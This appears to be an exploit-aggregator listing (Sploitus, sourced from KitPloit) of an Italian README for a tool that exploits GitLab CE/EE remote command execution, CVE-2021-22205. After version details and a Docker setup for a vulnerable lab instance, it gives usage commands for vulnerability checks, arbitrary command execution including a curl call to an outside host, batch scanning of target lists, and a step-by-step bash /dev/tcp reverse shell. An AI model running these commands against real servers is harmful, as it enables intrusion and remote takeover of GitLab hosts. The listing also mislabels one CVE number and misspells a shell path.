Sploitus

Exploit for CVE-2021-22205 CVE-2021-2205 CVE-2021-22204 CVE-2021-22205

kitploit · 2026-08-26

Exploit Code

MARKDOWN118 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AL1EX-CVE-2021-22205
### Impatto della Vulnerabilità

È stato scoperto un problema in GitLab CE/EE che interessa tutte le versioni a partire dalla 11.9. GitLab non convalidava correttamente i file immagine passati a un parser di file, il che ha portato a un'esecuzione remota di comandi.

### Prodotto Vulnerabile

  * Gitlab CE/EE < 13.10.3
  * Gitlab CE/EE < 13.9.6
  * Gitlab CE/EE < 13.8.8



### Ambiente

root@kitploit:~
    
    
    export GITLAB_HOME=/srv/gitlab
    
    sudo docker run --detach \
      --hostname gitlab.example.com \
      --publish 443:443 --publish 80:80 \
      --name gitlab \
      --restart always \
      --volume $GITLAB_HOME/config:/etc/gitlab \
      --volume $GITLAB_HOME/logs:/var/log/gitlab \
      --volume $GITLAB_HOME/data:/var/opt/gitlab \
      gitlab/gitlab-ce:13.9.1-ce.0
    

### Verifica della Vulnerabilità

##### Uso base

root@kitploit:~
    
    
    python3 CVE-2021-2205.py
    

![img](https://assets.kitploit.com/production/public/readmes/15112/4826ebad3a0c9501b61991acc104e6f1d0125641bf182292d7e5d61e7a2205a3.png)

##### Verifica della vulnerabilità

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
    

![img](https://assets.kitploit.com/production/public/readmes/15112/52cd931d656209c4f88007f0346208a98ed59d46189a29d1fb890e1cc194502e.png)

##### Esecuzione del comando

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
    

![attack](https://assets.kitploit.com/production/public/readmes/15112/26c8d8b00177a385812f3466e883dd0927d1438b1d6d21091c95fa4981239940.png)

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"
    

![attack_command1](https://assets.kitploit.com/production/public/readmes/15112/49b627f1c97756ef3403e2a62bfa0cd61940730d11b3318eab52d8e2f75df281.png)

![attack_command2](https://assets.kitploit.com/production/public/readmes/15112/65de2958cc3a0d02e1c2b2562ed1f4cba800bda9e3d1bbe208ca70375a904701.png)

##### Scansione batch

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -s true -f target.txt
    

![scan_result](https://assets.kitploit.com/production/public/readmes/15112/84636e00b8a05e39ffed4848569ab436c5e799265ad1e96a67a11afcdf1d36d6.png)

##### Reverse Shell

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
    

![reverse_shell1](https://assets.kitploit.com/production/public/readmes/15112/b310d5322b8f944ee674ebae356f9fe2161039f8e481f5987be50858982f315b.png)

![reverse_shell2](https://assets.kitploit.com/production/public/readmes/15112/8b9b7aceb8d54d440cf6828d320222e97b33c382a49477a454bcf1062d9bc88d.png)

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
    

![reverse_shell3](https://assets.kitploit.com/production/public/readmes/15112/307b532cdb94f88f1a222c5d094ddfc687afbe5aad80af5038693f2a6d1eb49b.png)

![reverse_shell4](https://assets.kitploit.com/production/public/readmes/15112/990709b684338b5c23d45f961306a0a9865e0e75b2ac377d64e1d54f88c054c5.png)

root@kitploit:~
    
    
    python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
    

![reverse_shell5](https://assets.kitploit.com/production/public/readmes/15112/f855888bc153403dd166807c54164fbf7e156d13f1c95e22e342c8543c779734.png)

### Riferimenti

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html